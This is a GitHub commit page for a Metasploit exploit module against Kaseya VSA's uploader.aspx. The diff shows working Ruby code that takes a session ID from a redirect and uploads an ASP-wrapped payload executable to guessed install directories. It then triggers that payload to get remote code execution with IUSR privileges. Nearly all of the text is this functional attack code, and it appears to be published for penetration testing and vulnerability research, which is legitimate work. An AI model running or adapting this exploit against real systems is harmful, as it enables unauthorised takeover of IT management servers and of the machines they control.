Skip to content

Commit 421a3f9

Browse files
author
Pedro Ribeiro
committed
Merge pull request #20 from jvazquez-r7/review_6019
Looks ok, going to test now.
2 parents 61c922c + a88a6c5 commit 421a3f9

File tree

1 file changed

+58
-50
lines changed

1 file changed

+58
-50
lines changed

modules/exploits/windows/http/kaseya_uploader.rb

Lines changed: 58 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,11 @@ def initialize(info = {})
1616
super(update_info(info,
1717
'Name' => 'Kaseya VSA uploader.aspx Arbitrary File Upload',
1818
'Description' => %q{
19-
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions between
20-
7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary directory
21-
leading to arbitrary code execution with IUSR privileges. This module has been tested with
22-
Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
23-
},
19+
This module exploits an arbitrary file upload vulnerability found in Kaseya VSA versions
20+
between 7 and 9.1. A malicious unauthenticated user can upload an ASP file to an arbitrary
21+
directory leading to arbitrary code execution with IUSR privileges. This module has been
22+
tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.
23+
},
2424
'Author' =>
2525
[
2626
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
@@ -50,29 +50,31 @@ def check
5050
'method' => 'GET',
5151
'uri' => normalize_uri('ConfigTab','uploader.aspx')
5252
})
53-
if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
54-
return Exploit::CheckCode::Appears
53+
54+
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
55+
return Exploit::CheckCode::Detected
5556
else
5657
return Exploit::CheckCode::Unknown
5758
end
5859
end
5960

6061

61-
def upload_file(payload, path, filename, sessionId)
62-
print_status("#{peer} - Uploading payload to #{path + 'WebPages\\'}...")
62+
def upload_file(payload, path, filename, session_id)
63+
print_status("#{peer} - Uploading payload to #{path}...")
64+
6365
res = send_request_cgi({
64-
"method" => "POST",
65-
'uri' => normalize_uri('ConfigTab','uploader.aspx'),
66-
"vars_get" => {
67-
"PathData" => path + 'WebPages' + '\\',
68-
"qqfile" => filename
66+
'method' => 'POST',
67+
'uri' => normalize_uri('ConfigTab', 'uploader.aspx'),
68+
'vars_get' => {
69+
'PathData' => path,
70+
'qqfile' => filename
6971
},
70-
"data" => payload,
71-
"ctype" => "application/octet-stream",
72-
"cookie" => "sessionId=" + sessionId
72+
'data' => payload,
73+
'ctype' => 'application/octet-stream',
74+
'cookie' => 'sessionId=' + session_id
7375
})
7476

75-
if res and res.code == 200 and res.body.to_s =~ /"success": "true"/
77+
if res && res.code == 200 && res.body && res.body.to_s.include?('"success": "true"')
7678
return true
7779
else
7880
return false
@@ -85,40 +87,46 @@ def exploit
8587
'method' => 'GET',
8688
'uri' => normalize_uri('ConfigTab','uploader.aspx')
8789
})
88-
if res and res.code == 302 and res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
89-
sessionId = $1
90-
91-
asp_name = "#{rand_text_alpha_lower(8)}.asp"
92-
exe = generate_payload_exe
93-
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
94-
95-
paths = [
96-
# We have to guess the path, so just try the most common directories
97-
'C:\\Kaseya\\',
98-
'C:\\Program Files\\Kaseya\\',
99-
'C:\\Program Files (x86)\\Kaseya\\',
100-
'D:\\Kaseya\\',
101-
'D:\\Program Files\\Kaseya\\',
102-
'D:\\Program Files (x86)\\Kaseya\\',
103-
'E:\\Kaseya\\',
104-
'E:\\Program Files\\Kaseya\\',
105-
'E:\\Program Files (x86)\\Kaseya\\',
106-
]
107-
108-
for path in paths
109-
if upload_file(payload, path, asp_name, sessionId)
110-
register_files_for_cleanup(path + "WebPages\\" + asp_name)
111-
print_status("#{peer} - Executing payload #{asp_name}")
112-
res = send_request_cgi({
113-
'uri' => normalize_uri(asp_name),
114-
'method' => 'GET'
115-
})
116-
handler
117-
break
118-
end
119-
end
90+
91+
if res && res.code == 302 && res.body && res.body.to_s =~ /mainLogon\.asp\?logout=([0-9]*)/
92+
session_id = $1
12093
else
12194
fail_with(Failure::NoAccess, "#{peer} - Failed to create a valid session")
12295
end
96+
97+
asp_name = "#{rand_text_alpha_lower(8)}.asp"
98+
exe = generate_payload_exe
99+
payload = Msf::Util::EXE.to_exe_asp(exe).to_s
100+
101+
paths = [
102+
# We have to guess the path, so just try the most common directories
103+
'C:\\Kaseya\\WebPages\\',
104+
'C:\\Program Files\\Kaseya\\WebPages\\',
105+
'C:\\Program Files (x86)\\Kaseya\\WebPages\\',
106+
'D:\\Kaseya\\WebPages\\',
107+
'D:\\Program Files\\Kaseya\\WebPages\\',
108+
'D:\\Program Files (x86)\\Kaseya\\WebPages\\',
109+
'E:\\Kaseya\\WebPages\\',
110+
'E:\\Program Files\\Kaseya\\WebPages\\',
111+
'E:\\Program Files (x86)\\Kaseya\\WebPages\\',
112+
]
113+
114+
paths.each do |path|
115+
if upload_file(payload, path, asp_name, session_id)
116+
register_files_for_cleanup(path + asp_name)
117+
print_status("#{peer} - Executing payload #{asp_name}")
118+
119+
send_request_cgi({
120+
'uri' => normalize_uri(asp_name),
121+
'method' => 'GET'
122+
})
123+
124+
# Failure. The request timed out or the server went away.
125+
break if res.nil?
126+
# Success! Triggered the payload, should have a shell incoming
127+
break if res.code == 200
128+
end
129+
end
130+
123131
end
124132
end

0 commit comments

Comments
 (0)